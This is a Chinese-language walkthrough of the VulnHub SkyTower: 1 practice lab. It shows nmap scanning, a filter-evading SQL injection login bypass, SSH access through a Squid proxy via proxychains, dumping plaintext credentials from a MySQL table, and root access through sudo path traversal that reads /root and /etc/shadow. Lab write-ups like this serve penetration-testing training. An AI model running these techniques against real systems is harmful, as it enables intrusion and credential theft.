-
准备工作
-
靶机下载链接:SkyTower: 1 ~ VulnHub
-
下载后解压,双击文件
SkyTower.vbox
,使其出现在VirtualBox
的页面上 -
若是步骤2没反应,也可以点击
注册
打开SkyTower
所在文件夹选择SkyTower.vbox
-
点击
管理
-导出虚拟电脑(E)
- 点击下一步
-
修改
文件(F)
至任意路径,之后一直下一步
到完成
-
再打开
文件(F)
勾选的文件夹,发现多了一个SkyTower.ova
文件 -
接下来就可以关闭
VirtualBox
使用kali
进行渗透了 -
打开
VMware
,将SkyTower.ova
拖拽到VMware
中 -
设置
虚拟机名称(A)
-存储路径(P)
-导入
-
若是,提示出错,点击
重试
即可,不影响的 -
启动虚拟机,等待安装完成
-
开启时出现下面页面时,随便点一下蓝色背景就好了
-
右击靶机 -
设置
-
修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击
高级
,查看MAC地址(00:0C:29:E9:1F:49
) -
重启靶机
-
信息收集
-
确定NAT网段
-
可以看到NAT是
192.168.142.0/24
网段的 -
kali 执行
sudo nmap -sn -PR 192.168.142.0/24
-
发现靶机IP为:
192.168.142.145
-
端口扫描:
nmap -p- 192.168.142.145
-
发现开启了 22,80 和 3128 端口,尝试访问 80 端口,发现如下页面
-
获取shell
-
账号输入:
admin"
,密码输入:admin'
-
登录,发现报SQL注入的错误,位置是密码处,对方可能使用的是单引号闭合
-
尝试注入,根据其返回信息,得出其过滤了
and
,or
,=
,TURE
等 -
编辑注入,账号任意,密码处输入
' || 'a' like 'a
-
登录成功,并得到一个用户的账号和密码
Username: john Password: hereisjohn
-
尝试登录22端口,发现超时,想到 3128 端口设置的 Squid HTTP代理服务,尝试设置代理访问(这里需要权限,所以
sudo
,直接root
用户也可以)sudo vim /etc/proxychains4.conf
-
按
i
进行编辑模式写入http 靶机的IP地址 3128
http 192.168.142.145 3128
-
按
Esc 键
切换为普通模式 ,按下:
输入wq!
保存退出 -
通过代理,连接ssh
proxychains ssh john@192.168.142.145 -t "/bin/sh" 密码:hereisjohn
-
发现是个普通用户,而且权限较低
-
权限提升
-
信息收集中曾发现过 Apache
-
试着根据Apache的默认路径(
/var/www/htm
),寻找其网站路径,最终发现如下路径/var/www
-
内容意外的少,怪不得目录扫描没扫到什么东西,那就看看 html 和 php 文件里写着什么吧
-
结果发现在
login.php
文件中,包含连接数据库所需的参数$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
-
在ssh登录的终端中连接数据库
mysql -u root -proot
-
查询数据
# 利用内置库查询数据库 注意句尾要有分号(;) select schema_name from information_schema.schemata; # 查询库下的表名 SELECT table_name FROM information_schema.tables WHERE table_schema = "SkyTech"; # 查询字段名 select column_name from information_schema.columns where table_name="login" and table_schema='SkyTech'; # 查询字段信息 use SkyTech; select * from login;
-
得到如下信息
+----+---------------------+--------------+ | id | email | password | +----+---------------------+--------------+ | 1 | john@skytech.com | hereisjohn | | 2 | sara@skytech.com | ihatethisjob | | 3 | william@skytech.com | senseable | 账号:john [权限低] 密码:hereisjohn 账号:sara [可用] 密码:ihatethisjob 账号:william [SSH密码错误,也无法切换用户,用途待发现] 密码:senseable
-
kali
另起终端登录sara
用户(su
无法切换)proxychains ssh sara@192.168.142.145 -t "/bin/sh" 密码:ihatethisjob
-
列出当前用户拥有
sudo
权限的命令sudo -l
-
它允许我们使用
cat
或ls
命令 与/accounts
下的文件进行交互; -
既然如此,就来包含一下文件吧
-
# 查看根目录下有哪些文件 sudo /bin/ls /accounts/../ # 查看 /root 下的文件 sudo /bin/ls /accounts/../root # 查看 flag 文件 sudo /bin/cat /accounts/../root/flag.txt
-
得到
root
用户密码:theskytower
theskytower
-
切换用户,提权成功
-
总结
- 流程:主机发现 - 信息收集 - web渗透 - 获取shell - 权限提升
- web渗透:
- 在发现SQL注入后,首先尝试的便是Sqlmap利用,但无果,原因是数据库拒绝了外部连接;
- 设置代理访问这块,提示的很明显,毕竟在网页上直接写着....
proxychains ssh john@192.168.142.145 -t "命令"
通过ssh
的-t
参数执行命令,算比较少见的,这里也可以执行系统命令,反弹shell等
- 权限提升:
- 期间也有直接利用
cat
包含并读取/etc/shadow
文件,尝试破解,查询结果无法破解,好像是单向加密的;
- 期间也有直接利用
- PS:较为简单,且打法比较单调的一个靶机,适合新手练习;